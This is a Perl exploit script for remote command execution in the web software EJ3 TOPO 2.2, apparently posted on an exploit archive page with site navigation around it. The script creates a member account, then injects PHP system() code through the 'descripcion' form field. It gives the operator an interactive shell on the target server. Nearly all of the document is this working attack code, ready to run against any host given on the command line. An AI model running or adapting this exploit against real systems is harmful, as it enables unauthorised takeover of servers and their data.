what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ej3-exec.txt

ej3-exec.txt
Posted Jul 12, 2006
Authored by Hessam-x

EJ3 TOPO version 2.2 remote command execution exploit.

tags | exploit, remote
SHA-256 | ac44a1b4d3443dae78da19d6cae880fa7ee1eb9a1d5bd2ab49dcd22d31a2ebc6

ej3-exec.txt

Change Mirror Download
#!/usr/bin/perl
#
# EJ3 TOPO 2.2 Remote Code Execution Exploit
# ---------------------------------------------
# Note : This Exploit Just run TOPO 2.2
# IHST : www.Hackerz.Ir
# AST : www.aria-security.net
###### (C)oded & Discovered By Hessam-x

use LWP::UserAgent;
use LWP::Simple;
use HTTP::Cookies;


$host = $ARGV[0];

$url = "http://".$host;

&hed;
print " [~] Host : $host \n";
print " [~] Conecting ...\n";


$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );

$res = $xpl->post($url.'index.php',
Content => [
"email" => "info@yahoo.com",
"web" => "Yahoo.Com",
"webURL" => "http://www.yahoo.com",
"BannerURL" => "http://www.yahoo.com/logo.jpg",
"descripcion" => "YAHOO!INC",
"country" => "as",
"m" => "members",
"s" => "html",
"t" => "join",
"paso" => "2",
"ID" => "shell",
],);

print " [+] Created a user ...\n";
&run;



sub hed()
{
print q(
###########################################################
# EJ3 TOPO <= 2.1 Remote Code Execution Exploit #
# #
############# Coded & discovered By Hessam-x ##############

);


if (@ARGV < 1) {
print " # usage : hx.pl [host&path]\n";
print " # E.g : hx.pl www.milw0rm.com/toplist/\n";
exit();
}

}

while ()
{
&run
}
sub run()
{

print "\n[Shell]\$";
chomp($exc=<STDIN>);

exit() if ($exc eq 'exit');



$commd = "system(\"$exc\")";
$cmd = 'echo 1 ; echo _START_ ; '.$commd.' ; echo _END_';


$req = $xpl->post($url.'index.php',
Content => [
"passwordNEW" => "0",
"email" => "info@yahoo.com",
"webURL" => "http://www.yahoo.com",
"BannerURL" => "http://www.yahoo.com/logo.jpg",
"descripcion" => "YAHOO!INC' ; $cmd ; ?>//",
"country" => "unknow",
"m" => "members",
"s" => "html",
"t" => "edit",
"paso" => "2",
"password" => "0",
"ID" => "shell",
],);
$res = $xpl->get($url.'index.php?m=top&s=out&ID=shell');
@result = split(/\n/,$res->content);
$runned = 0;
$on = 0;
print "\n";
for $res(@result)
{
if ($res =~ /^_END_/) { print "\n"; return 0; }
if ($on == 0) { print " $res\n"; }
if ($res =~ /^_START_/) { $on = 1; $runned = 1; }
}
if (!$runned) { print "Can not execute command . EXPLOIT FAILED !\n" ; };



}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close